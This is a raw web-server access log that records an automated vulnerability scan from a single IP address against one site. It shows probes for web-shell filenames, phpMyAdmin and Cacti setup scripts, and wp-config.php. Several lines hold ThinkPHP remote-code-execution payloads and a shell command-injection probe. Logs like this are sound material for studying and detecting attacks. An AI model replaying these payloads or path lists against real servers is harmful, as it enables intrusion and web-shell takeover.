143.92.56.10 - - [16/Feb/2020:18:39:22 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
143.92.56.10 - - [16/Feb/2020:18:39:22 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
143.92.56.10 - - [16/Feb/2020:18:39:44 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:18:39:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
143.92.56.10 - - [16/Feb/2020:18:40:05 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
143.92.56.10 - - [16/Feb/2020:18:40:27 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
143.92.56.10 - - [16/Feb/2020:18:40:49 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:18:40:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
143.92.56.10 - - [16/Feb/2020:18:41:11 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
143.92.56.10 - - [16/Feb/2020:18:41:33 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:18:41:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
143.92.56.10 - - [16/Feb/2020:18:41:54 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
143.92.56.10 - - [16/Feb/2020:18:41:55 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:41:55 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:41:55 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:41:55 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:41:56 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:41:56 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:41:56 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:41:56 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:41:56 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:41:57 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:41:57 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:41:57 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:41:57 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:41:57 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:41:58 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:41:58 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:41:58 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:41:58 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:41:59 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:41:59 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:41:59 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:41:59 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:41:59 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:00 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:00 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:00 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:00 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:00 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:01 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:01 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:01 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:01 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:01 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:02 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:02 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:02 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:02 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:02 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:03 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:03 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:03 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:03 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:04 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:04 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:04 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:04 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:04 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:05 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:05 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:05 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:05 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:05 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:06 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:06 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:06 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:06 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:06 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:07 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:07 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:07 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:07 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:08 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:08 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:08 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:08 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:09 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:09 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:09 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:09 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:09 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:10 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:10 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:10 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:10 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:10 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:11 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:11 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:11 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:11 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:12 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:12 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:12 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:12 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:12 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:13 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:13 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:13 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:13 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:13 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:14 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:14 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:14 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:14 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:14 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:15 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:15 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:15 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:15 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:15 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:16 +0100] "GET /yuyang.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:16 +0100] "GET /zz.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:16 +0100] "GET /coonig.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:17 +0100] "GET /ak.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:17 +0100] "GET /baidoubi.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:17 +0100] "GET /hhhhhh.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:17 +0100] "GET /meijianxue.php HTTP/1.1" 404 319 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:17 +0100] "GET /no1.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:18 +0100] "GET /python.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:18 +0100] "GET /woshimengmei.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:18 +0100] "GET /indea.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:18 +0100] "GET /taisui.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:18 +0100] "GET /xiaxia.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:19 +0100] "GET /kk.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:19 +0100] "GET /xsser.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:19 +0100] "GET /zzz.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:19 +0100] "GET /99.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:20 +0100] "GET /dp.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:20 +0100] "GET /hs.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:20 +0100] "GET /1ts.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:20 +0100] "GET /haiyan.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:20 +0100] "GET /phpdm.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
